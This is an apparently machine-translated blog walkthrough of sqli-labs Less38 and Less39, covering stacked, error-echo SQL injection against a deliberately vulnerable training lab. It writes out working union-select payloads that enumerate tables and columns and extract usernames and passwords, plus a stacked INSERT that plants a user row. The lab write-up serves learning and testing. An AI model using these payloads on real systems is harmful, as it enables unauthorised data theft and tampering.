当前位置:网站首页>(manual) [sqli labs38, 39] stack injection, error echo, character / number type
(manual) [sqli labs38, 39] stack injection, error echo, character / number type
2022-07-27 20:30:00 【Black zone (rise)】
Catalog
Two 、( manual )SQL Basic steps of injection :
3、 ... and 、Less38(GET-Stacked Query Injection - String)
3.1、 brief introduction :( Stack Injection - Error echo - Character injection )
3.2、 First step : Injection point test
3.3、 The second step : Analysis and filtering
3.4、 The third step : Determine the number of fields / Echo position
3.6、 Step five : Name of Pop Watch
3.8、 Step seven : Stack Injection accounts
Four 、Less39(GET-Stacked Query Injection - Intiger based)
4.1、 brief introduction :( Stack Injection - Error echo - Digital injection )
One 、 recommend :
【SQL Inject 】 Stack Injection
https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501【SQL Inject 】 Digital injection & Character injection
https://blog.csdn.net/qq_53079406/article/details/125741101?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786402616781435435338%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786402616781435435338&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125741101-null-null.185^v2^control&utm_term=%E6%95%B0%E5%AD%97%E5%9E%8B&spm=1018.2226.3001.4450
Two 、( manual )SQL Basic steps of injection :
First step : Injection point test
The second step : Analyze permissions
The third step : Determine the number of fields
Step four : Burst database name
Step five : Name of Pop Watch
Step six : Pop field name
Step seven : Stack Injection accounts
Step eight : Inquire about
3、 ... and 、Less38(GET-Stacked Query Injection - String)
3.1、 brief introduction :( Stack Injection - Error echo - Character injection )
Request method :GET
Method : Stack Injection + closed ( Character injection )+ Error echo
3.2、 First step : Injection point test
Input ?id=1
An error is reported when a single quotation mark is added
?id=1'--+
Echo normal , The description is closed in single quotation marks
The character type is
3.3、 The second step : Analysis and filtering
Method 1 :
Consider replacing the injected statement characters one by one step , Until there is no error ( A waste of time )
Or replace them all ( If you make a mistake , I don't know where it is filtered )
Method 2 :
Get the source code for white box audit ( The optimal )
3.4、 The third step : Determine the number of fields / Echo position
?id=1' union select 1,2,3 --+
Echo normal
?id=1' union select 1,2,3,4 --+
Report errors
The number of description fields is 3
Determine the echo position
?id=-1' union select 1,2,3 --+
3.5、 Step four : Warehouse
?id=-1' union select 1,2,database() --+
3.6、 Step five : Name of Pop Watch
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
3.7、 Step six : Pop field
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
3.8、 Step seven : Stack Injection accounts
?id=1';insert into users(id,username,password) values ('38','less38','at38')--+
3.9、 Step eight : Burst data
?id=-1' union select 1,2,group_concat(username,password) from security.users--+
We can see the data we injected
Four 、Less39(GET-Stacked Query Injection - Intiger based)
4.1、 brief introduction :( Stack Injection - Error echo - Digital injection )
Request method :GET
Method : Stack Injection + closed ( Digital injection )+ Error echo + The joint query
4.2、 utilize :
And Less38 equally
Is to change from character type to number type
That is, there is no need to close
边栏推荐
- 最新获得淘宝app商品详情原数据 的API
- Common methods of object learning [clone and equals]
- 【Map 集合】
- ES6--解构赋值
- Konka sold out its first 100000 storage master chips, with an estimated sales volume of 100million in 2020
- 为什么需要第三方支付?
- Huiding Technology: the acquisition of NXP vas business has been completed
- 京东:获得商品详情原数据 API
- What is a multi-layer perceptron (what is a multi-layer perceptron)
- js跳转页面并刷新(本页面跳转)
猜你喜欢

I'm also drunk. Eureka delayed registration and this pit

JS realizes video recording - Take cesium as an example

Pyqt5 rapid development and practice 4.5 button controls and 4.6 qcombobox (drop-down list box)

Connection pool - return connection details (Part 1)

盘点下互联网大厂的实习薪资:有了它,你也可以进厂

Understand the wonderful use of dowanward API, and easily grasp kubernetes environment variables

Office automation solution - docuware cloud is a complete solution to migrate applications and processes to the cloud

Graphic leetcode - Sword finger offer II 115. reconstruction sequence (difficulty: medium)

Anfulai embedded weekly report no. 275: 2022.07.18--2022.07.24

Session attack
随机推荐
Use cpolar to build a business website (5)
shell
发布2年后涨价100美元,Meta Quest 2的逆生长
什么是多层感知机(什么是多层感知机)
ES6 -- Application of expansion operator
C语言--数组
JD: search product API by keyword
Built in functions other functions
Oracle +JDBC
Mongodb learning notes: bson structure analysis
How to configure log4j in slf4j?
ES6 -- Deconstruction assignment
调整数组使奇数全部都位于偶数前
slf4j中如何进行log4j配置呢?
一看就懂的ESLint
PyQt5快速开发与实战 4.5 按钮类控件 and 4.6 QComboBox(下拉列表框)
传英特尔将停掉台积电16nm代工的Nervana芯片
联发科发布中端游戏手机芯片Helio G80
Built in function time date function
Western digital mobile hard disk can't be read (the idiom of peace of mind)
https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501








